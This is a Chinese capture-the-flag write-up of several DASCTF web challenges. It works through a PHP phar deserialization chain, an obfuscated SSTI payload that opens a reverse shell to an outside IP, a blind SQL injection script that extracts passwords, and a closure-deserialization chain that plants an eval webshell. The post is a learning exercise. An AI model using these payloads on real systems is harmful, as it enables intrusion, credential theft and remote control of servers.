March 2, 2023

DASCTF 七月赋能赛

前言

经过前两次比赛的磨练,打算自己模拟打一次看看

Web

Ez to getflag

考点:略微审计,phar反序列化,任意文件读取
难度:这道题可能在大佬面前只是个简单题,我也能做出来应该就是简单题了,但是感觉考的东西还是综合的,在我面前算中档题吧,希望能不断地进步变成简单题
image.png
文件读取和文件上传界面,凭着经验发现可以任意文件读取,把下面所有重要文件读出来了:

1
2
3
4
5
6
7
8
<?php
error_reporting(0);
session_start();
require_once('class.php');
$filename = $_GET['f'];
$show = new Show($filename);
$show->show();
?>
1
2
3
4
5
6
7
<?php
error_reporting(0);
session_start();
require_once('class.php');
$upload = new Upload();
$upload->uploadfile();
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
<?php
class Upload {
public $f;
public $fname;
public $fsize;
function __construct(){
$this->f = $_FILES;
}
function savefile() {
$fname = md5($this->f["file"]["name"]).".png";
if(file_exists('./upload/'.$fname)) {
@unlink('./upload/'.$fname);
}
move_uploaded_file($this->f["file"]["tmp_name"],"upload/" . $fname);
echo "upload success! :D";
}
function __toString(){
$cont = $this->fname;
$size = $this->fsize;
echo $cont->$size;
return 'this_is_upload';
}
function uploadfile() {
if($this->file_check()) {
$this->savefile();
}
}
function file_check() {
$allowed_types = array("png");
$temp = explode(".",$this->f["file"]["name"]);
$extension = end($temp);
if(empty($extension)) {
echo "what are you uploaded? :0";
return false;
}
else{
if(in_array($extension,$allowed_types)) {
$filter = '/<\?php|php|exec|passthru|popen|proc_open|shell_exec|system|phpinfo|assert|chroot|getcwd|scandir|delete|rmdir|rename|chgrp|chmod|chown|copy|mkdir|file|file_get_contents|fputs|fwrite|dir/i';
$f = file_get_contents($this->f["file"]["tmp_name"]);
if(preg_match_all($filter,$f)){
echo 'what are you doing!! :C';
return false;
}
return true;
}
else {
echo 'png onlyyy! XP';
return false;
}
}
}
}
class Show{
public $source;
public function __construct($fname)
{
$this->source = $fname;
}
public function show()
{
if(preg_match('/http|https|file:|php:|gopher|dict|\.\./i',$this->source)) {
die('illegal fname :P');
} else {
echo file_get_contents($this->source);
$src = "data:jpg;base64,".base64_encode(file_get_contents($this->source));
echo "<img src={$src} />";
}

}
function __get($name)
{
$this->ok($name);
}
public function __call($name, $arguments)
{
if(end($arguments)=='phpinfo'){
phpinfo();
}else{
$this->backdoor(end($arguments));
}
return $name;
}
public function backdoor($door){
include($door);
echo "hacked!!";
}
public function __wakeup()
{
if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
die("illegal fname XD");
}
}
}
class Test{
public $str;
public function __construct(){
$this->str="It's works";
}
public function __destruct()
{
echo $this->str;
}
}
?>

审计过后不难发现漏洞点在backdoor函数,里面有危险函数include,也很容易的发现pop链为:Test:__destruct=>Upload:__tostring=>Show:__get=>show:__call=>backdoor()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
class Test{
public $str;
}
class Upload {
public $f;
public $fname;
public $fsize;
function __construct(){
$this->fname=new Show;
$this->fsize='upload/00bf23e130fa1e525e332ff03dae345d.png';
}
}
class Show{
public $source;
}
$a=new Test;
$a->str=new Upload();
echo serialize($a);
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();

?>

upload/00bf23e130fa1e525e332ff03dae345d.png是事先上传的shell.png文件
将pop中的fsize改为phpinfo就可以看phpinfo界面:
image.png
发现短标签开着,OK可以绕过:
image.png
之后就在file.php读取我们的phar文件,这里phar文件也需要绕过,可以看到<?php __HALT_COMPILER(); ?>有敏感字样php,这边需要在linux对phar文件gzip压缩后:
image.png
可以看到是乱码一样的,但是可以触发反序列化,读取之后就可以rce了:image.png
参考:

Harddisk

考点:SSTI逃逸
解题数:26
image.png
先放结果吧,自己写出来了所以还是有成就感的,感觉自己也算真正的入了门了
image.png
解题时有个小TIps,有关SSTI的题,为了图方便,我都会在CTFSHOW也开一个靶场,就是没过滤的,可以自己尝试payload
image.png

1
2
3
4
5
6
7
fuzz一下可以发现ban掉了`{{ . [ print 空格`等关键字
对于双括号的过滤可以考虑用`{%set%}`来绕过,由于ban掉了print,也就注定了这一题没有回显,所以最终肯定是要利用反弹shell的
对于关键字的绕过,经测试可以使用unicode编码达到绕过的目的
执行命令使用标签`{%if%}{%endif%}`,这是无回显的,肯定得用反弹shell
我们原来的paylaod可以为`{%set c=lipsum|attr("__globals__"|attr("__getitem__")("__builtins__")|attr("eval")("__import__('os')")|attr("popen")("cmd")|attr(read)()`
空格可以用%09去替代,关键字unicode编码最后payload为:
`{%set%09c=lipsum|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")("\u005f\u005f\u0062\u0075\u0069\u006c\u0074\u0069\u006e\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")("eval")("\u005f\u005f\u0069\u006d\u0070\u006f\u0072\u0074\u005f\u005f\u0028\u0027\u006f\u0073\u0027\u0029")|attr("\u0070\u006f\u0070\u0065\u006e")("\u0062\u0061\u0073\u0068\u0020\u002d\u0063\u0020\u0027\u0062\u0061\u0073\u0068\u0020\u002d\u0069\u0020\u003e\u0026\u0020\u002f\u0064\u0065\u0076\u002f\u0074\u0063\u0070\u002f\u0034\u0033\u002e\u0031\u0034\u0030\u002e\u0032\u0035\u0031\u002e\u0031\u0036\u0039\u002f\u0037\u0037\u0037\u0037\u0020\u0030\u003e\u0026\u0031\u0027")|attr("\u0072\u0065\u0061\u0064")()%}{%if%09c%}1{%endif%}`

可以收到反弹shell:
image.png
参考:

https://boogipop.github.io/2022/10/04/CTFSHOW-SSTI/

绝对防御

考点:信息搜集,SQL注入
审计前端js可以发现可疑的路径:
image.png
image.png
全局搜索一下ImLib.API_PATH
image.png
发现敏感文件,访问之后尝试传参:
image.png
有回显,经过fuzz发现过滤了sleep,if过滤的很少,可能很多人过滤了if就不知道用什么了,我们可以用elt
写个脚本就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#Author:Boogipop
import requests
url="http://c204e43e-3219-4b52-af66-45dbca51152c.node4.buuoj.cn:81/SUPPERAPI.php"
res=''
i=0
while True:
head=32
tail=127
i+=1
while head<tail:
mid=(head+tail)>>1
data={
# "id": f"1 and elt(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='users'),{i},1))>{mid},1)#"
"id":f"1 and elt(ascii(substr((select password from users limit 1,1),{i},1))>{mid},1)#"
}
# print(data["id"])
# print(head)
r=requests.get(url=url,params=data)
if "admin" in r.text:
head=mid+1
else:
tail=mid
if head!=32:
res+=chr(head)
print(res)
else:
break


#users
#id,username,password,ip,time,USER,CURRENT_CONNECTIONS

很难相信这一题也只有16 solves。。自己写出来了,嘻嘻
image.png

Newser

考点:新型反序列化,匿名函数闭包反序列化
看标题就知道是个新东西,全场0解
首先扫描目录会发现源码泄露:
image.png
重点放在composer.json文件:

1
2
3
4
5
6
7
{

"require": {
"fakerphp/faker": "^1.19",
"opis/closure": "^3.6"
}
}

首先先介绍一下php的composer,它相当于java的maven,会根据composer.json文件去自动安装依赖,并生成vendor文件夹,里面有一个autoload.php,之后在项目中只需要include这个autoload.php就可以自动包含所有依赖了:
image.png
image.png
目录结构如上,基本的介绍完了,就该说明一下那2个包是什么,其中fakerphp/faker
是用来操作虚假对象的(比如生成随机的用户名,密码,名字,邮箱等信息),另外一个
"opis/closure"是用来闭包的,也就是闭包匿名函数

匿名函数(闭包)

1
2
3
4
5
6
7
<?php
$func=function($a){
return $a**$a;
};
var_dump(call_user_func($func,3))
?>
//int(27)

上述例子就是利用call_user_func取调用一个匿名函数(闭包),既然可以调用,那匿名函数可不可以像普通变量一样被序列化呢?

1
2
3
4
5
6
7
8
9
10
<?php
$func=function($a){
return $a**$a;
};
try{
var_dump(serialize($func));
}catch (Exception $e){
echo $e;
}
?>
1
2
3
4
Exception: Serialization of 'Closure' is not allowed in D:\phpstudy_pro\WWW\CTFTOOL\1.php:6
Stack trace:
#0 D:\phpstudy_pro\WWW\CTFTOOL\1.php(6): serialize()
#1 {main}

报错信息如上,可以看到匿名函数实际上也就是一个Closure类,也就是上述我们安装的依赖,所以通常情况下是不可以序列化的,但是当我们调用了Closure依赖后会怎么样呢:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
include "vendor/autoload.php";
$func = function($b){
return $b**$b;
};

try{
$s = \Opis\Closure\serialize($func);
var_dump($s);
echo "-----------------------\n";
var_dump(unserialize($s));
echo "-----------------------\n";
var_dump(\Opis\Closure\unserialize($s));
echo "-----------------------\n";
var_dump(call_user_func(unserialize($s),3));
echo "-----------------------\n";
var_dump(call_user_func(\Opis\Closure\unserialize($s),3));
}catch (Exception $e){
echo $e;
}
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
string(205) "C:32:"Opis\Closure\SerializableClosure":159:{a:5:{s:3:"use";a:0:{}s:8:"function";s:36:"function($b){
return $b**$b;
}";s:5:"scope";N;s:4:"this";N;s:4:"self";s:32:"0000000031b650db0000000060517cc8";}}"
-----------------------
object(Opis\Closure\SerializableClosure)#2 (5) {
["closure":protected]=>
object(Closure)#5 (1) {
["parameter"]=>
array(1) {
["$b"]=>
string(10) "<required>"
}
}
["reflector":protected]=>
NULL
["code":protected]=>
string(36) "function($b){
return $b**$b;
}"
["reference":protected]=>
NULL
["scope":protected]=>
NULL
}
-----------------------
object(Closure)#7 (1) {
["parameter"]=>
array(1) {
["$b"]=>
string(10) "<required>"
}
}
-----------------------
int(27)
-----------------------
int(27)

从上面的例子可以看到引入了依赖后闭包是可以被序列化的,并且序列化的结果可以由Closure类的unserialize和普通的unserialize方法去反序列化,并且都可以成功的回调
观察用2种不同的unserialize返回的结果可以发现,Closure下的unserialize返回的是一个Closure对象,而通用的unserialize返回的是Opis\Closure\SerializableClosure对象,有一点区别,不过无论结果如何都可以callback

POP构造

题目中只给了一个User类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63


<?php

class User
{
protected $_password;
protected $_username;
private $username;
private $password;
private $email;
private $instance;


public function __construct($username,$password,$email)
{
$this->email = $email;
$this->username = $username;
$this->password = $password;
$this->instance = $this;
}

/**
* @return mixed
*/
public function getEmail()
{
return $this->email;
}

/**
* @return mixed
*/
public function getPassword()
{
return $this->password;
}

/**
* @return mixed
*/
public function getUsername()
{
return $this->username;
}

public function __sleep()
{
$this->_password = md5($this->password);
$this->_username = base64_encode($this->username);
return ['_username','_password', 'email','instance'];
}

public function __wakeup()
{
$this->password = $this->_password;
}

public function __destruct()
{
echo "User ".$this->instance->_username." has created.";
}
} User em9rZWVmZQ== has created.

审计下来可以发现有用的也就只有:

1
2
3
4
5
6
7
8
9
public function __wakeup()
{
$this->password = $this->_password;
}

public function __destruct()
{
echo "User ".$this->instance->_username." has created.";
}

这两个方法而已,但是如何构造pop呢?我们别忘了还有一个faker依赖:
审计一下\faker\Generator类,里面有几个重要方法我罗列出来:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
protected $formatters = [];

public function __get($attribute)
{
trigger_deprecation('fakerphp/faker', '1.14', 'Accessing property "%s" is deprecated, use "%s()" instead.', $attribute, $attribute);

return $this->format($attribute);
}
public function format($format, $arguments = [])
{
return call_user_func_array($this->getFormatter($format), $arguments);
}
public function __wakeup()
{
$this->formatters = [];
}
public function getFormatter($format)
{
if (isset($this->formatters[$format])) {
return $this->formatters[$format];
}

if (method_exists($this, $format)) {
$this->formatters[$format] = [$this, $format];

return $this->formatters[$format];
}

// "Faker\Core\Barcode->ean13"
if (preg_match('|^([a-zA-Z0-9\\\]+)->([a-zA-Z0-9]+)$|', $format, $matches)) {
$this->formatters[$format] = [$this->ext($matches[1]), $matches[2]];

return $this->formatters[$format];
}

foreach ($this->providers as $provider) {
if (method_exists($provider, $format)) {
$this->formatters[$format] = [$provider, $format];

return $this->formatters[$format];
}
}

throw new \InvalidArgumentException(sprintf('Unknown format "%s"', $format));
}

可以看到Generator类中有很多魔术方法,其中注意__get魔术方法调用了format方法
format方法最终调用了call_user_func_array函数
image.png
和call_user_func一样都是回调函数,其中的$format参数在getFormatter方法中处理,该方法会去检索属性formatters,如果我们的$format是formatter数组的键名,那么就直接返回formatters[$format];
到这里pop链就很清晰了,题目中有__destruct方法,也就是User::_destruct=>\Faker\Generator::__get=>Generator::format()=>call_user_func_array,但是还有个问题,Generator还有一个__wakeup会滞空我们的formatter数组,我们得想办法绕过

绕过__wakeup滞空

这道题和十月赛的haide wabo高度相似,我们这里可以利用引用来绕过滞空

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
class test1{
public $t1;

public function __construct($obj){
echo 1;
$this->t1 = &$obj->t2;

}

public function __wakeup(){
echo 3;
$this->t1=NULL;
}
}

class test2{
public $elem;
public $t2;
public $obj;

public function __construct(){
echo 2;
$this->elem = "kino";
$this->obj = new test1($this);
}

public function __wakeup(){
echo 4;
$this->t2 = $this->elem;

}
}

$t = new test2();
$s = serialize($t);
//echo $s;
$t2 = unserialize($s);
echo $t2->obj->t1;

//output:2134kino

从上述例子可以看出如果想要避免t1被滞空,我们将t1指向test.t2就可以避免,并且触发顺序也可以理解一下

编写POP

最后了解了一切即可开始编写pop:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php
namespace {
include "vendor/autoload.php";
class User
{
public $password;
private $instance;
protected $_password;
public function __construct()
{
$this->instance = new \Faker\Generator($this);
$func=function (){
system("echo '<?php eval(\$_POST[1]);?>'>>'/var/www/html/1.php'");
};
$ser=\opis\Closure\serialize($func);
$this->_password = ["_username"=>unserialize($ser)];
}
}
$payload= serialize(new User());
// echo $payload;
$new= str_replace("s:8:\"password\"",'s:14:"'.urldecode('%00').'User'.urldecode('%00').'password"',$payload);
echo base64_encode($new);
}

namespace Faker{
class Generator{
protected $formatters;
public function __construct($obj){
$this->formatters=&$obj->password;
}
}
}
//class User{
// private $password;
//}
//echo serialize(new User());
//echo urlencode(serialize(new User()));
#O:4:"User":1:{s:14:" User password";N;}
#O%3A4%3A%22User%22%3A1%3A%7Bs%3A14%3A%22%00User%00password%22%3BN%3B%7D
?>

这边需要先手动把passowrd改为public类型再修改回private类型,因为有引用,但其实根据我的测试,由于PHP7.1+对属性类型不敏感,所以那一步操作是完全可以优化的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php
namespace {
include "vendor/autoload.php";
class User
{
public $password;
private $instance;
protected $_password;
public function __construct()
{
$this->instance = new \Faker\Generator($this);
$func=function (){
system("echo '<?php eval(\$_POST[1]);?>'>>'/var/www/html/1.php'");
};
$ser=\opis\Closure\serialize($func);
$this->_password = ["_username"=>unserialize($ser)];
}
}
$payload= serialize(new User());
echo $payload;
echo "\n";
echo base64_encode($payload);
}

namespace Faker{
class Generator{
protected $formatters;
public function __construct($obj){
$this->formatters=&$obj->password;
}
}
}
//class User{
// private $password;
//}
//echo serialize(new User());
//echo urlencode(serialize(new User()));
#O:4:"User":1:{s:14:" User password";N;}
#O%3A4%3A%22User%22%3A1%3A%7Bs%3A14%3A%22%00User%00password%22%3BN%3B%7D
?>

最后忘了说了,在cookie里可以发现base64编码的序列化字符串,所以传参入口在cookie,将上述payload传入,即可写shell进1.php,最后getshell。
image.png
赐教!

结语

第一次模拟打,解题数是3/4,感觉不错,现在就要先告一段落了,要去搞期末了呜呜

Reverse

About this Post

This post is written by Boogipop, licensed under CC BY-NC 4.0.

#WriteUp#DASCTF